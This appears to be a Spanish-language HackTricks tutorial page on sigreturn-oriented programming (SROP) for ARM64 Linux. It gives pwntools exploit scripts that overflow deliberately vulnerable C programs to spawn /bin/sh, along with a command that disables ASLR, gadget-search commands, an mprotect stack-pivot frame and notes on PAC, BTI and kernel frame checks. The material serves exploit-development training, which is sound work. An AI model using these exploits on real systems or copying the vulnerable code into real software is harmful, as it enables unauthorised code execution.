> [!TIP]

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Reading time: 8 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Ejemplo de Pwntools

Este ejemplo crea el binario vulnerable y lo explota. El binario lee en la pila y luego llama a sigreturn:

python
from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

ejemplo de bof

Código

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}


char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}

Compílalo con:

bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

Exploit

El exploit abusa del bof para regresar a la llamada a sigreturn y preparar la pila para llamar a execve con un puntero a /bin/sh.

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

bof ejemplo sin sigreturn

Código

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}

Exploit

En la sección vdso es posible encontrar una llamada a sigreturn en el offset 0x7b0:

Por lo tanto, si se filtra, es posible usar esta dirección para acceder a un sigreturn si el binario no lo está cargando:

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Para más información sobre vdso consulta:

Ret2vDSO

Y para eludir la dirección de /bin/sh podrías crear varias variables de entorno que apunten a ella, para más información:

ASLR


Encontrar gadgets sigreturn automáticamente (2023-2025)

En distribuciones modernas, el trampolín sigreturn todavía se exporta por la página vDSO, pero el desplazamiento exacto puede variar entre versiones del kernel y banderas de compilación como BTI (+branch-protection) o PAC. Automatizar su descubrimiento previene la codificación rígida de desplazamientos:

bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn

# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigreturn

Ambas herramientas entienden AArch64 codificaciones y listarán secuencias candidatas mov x8, 0x8b ; svc #0 que pueden ser utilizadas como el gadget SROP.

Nota: Cuando los binarios se compilan con BTI, la primera instrucción de cada objetivo de rama indirecta válida es bti c. Los trampolines sigreturn colocados por el enlazador ya incluyen la almohadilla de aterrizaje BTI correcta, por lo que el gadget sigue siendo utilizable desde código no privilegiado.

Encadenando SROP con ROP (pivotar a través de mprotect)

rt_sigreturn nos permite controlar todos los registros de propósito general y pstate. Un patrón común en x86 es: 1) usar SROP para llamar a mprotect, 2) pivotar a una nueva pila ejecutable que contenga código shell. La misma idea funciona en ARM64:

python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect   # 226
frame.x0 = 0x400000                # page-aligned stack address
frame.x1 = 0x2000                  # size
frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100        # new pivot
frame.pc = svc_call                # will re-enter kernel

Después de enviar el marco, puedes enviar una segunda etapa que contenga código shell en bruto en 0x400000+0x100. Debido a que AArch64 utiliza direccionamiento relativo al PC, esto suele ser más conveniente que construir grandes cadenas ROP.

Validación del kernel, PAC y Shadow-Stacks

Linux 5.16 introdujo una validación más estricta de los marcos de señal del espacio de usuario (commit 36f5a6c73096). El kernel ahora verifica:

  • uc_flags debe contener UC_FP_XSTATE cuando extra_context está presente.
  • La palabra reservada en struct rt_sigframe debe ser cero.
  • Cada puntero en el registro extra_context está alineado y apunta dentro del espacio de direcciones del usuario.

pwntools>=4.10 crea marcos compatibles automáticamente, pero si los construyes manualmente, asegúrate de inicializar en cero reserved y omitir el registro SVE a menos que realmente lo necesites; de lo contrario, rt_sigreturn entregará SIGSEGV en lugar de retornar.

A partir de Android 14 y Fedora 38, el espacio de usuario se compila con PAC (Pointer Authentication) y BTI habilitados por defecto (-mbranch-protection=standard). SROP en sí no se ve afectado porque el kernel sobrescribe PC directamente desde el marco creado, eludiendo el LR autenticado guardado en la pila; sin embargo, cualquier cadena ROP subsiguiente que realice saltos indirectos debe saltar a instrucciones habilitadas para BTI o direcciones PACed. Ten esto en cuenta al elegir gadgets.

Los Shadow-Call-Stacks introducidos en ARMv8.9 (y ya habilitados en ChromeOS 1.27+) son una mitigación a nivel de compilador y no interfieren con SROP porque no se ejecutan instrucciones de retorno; el flujo de control es transferido por el kernel.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks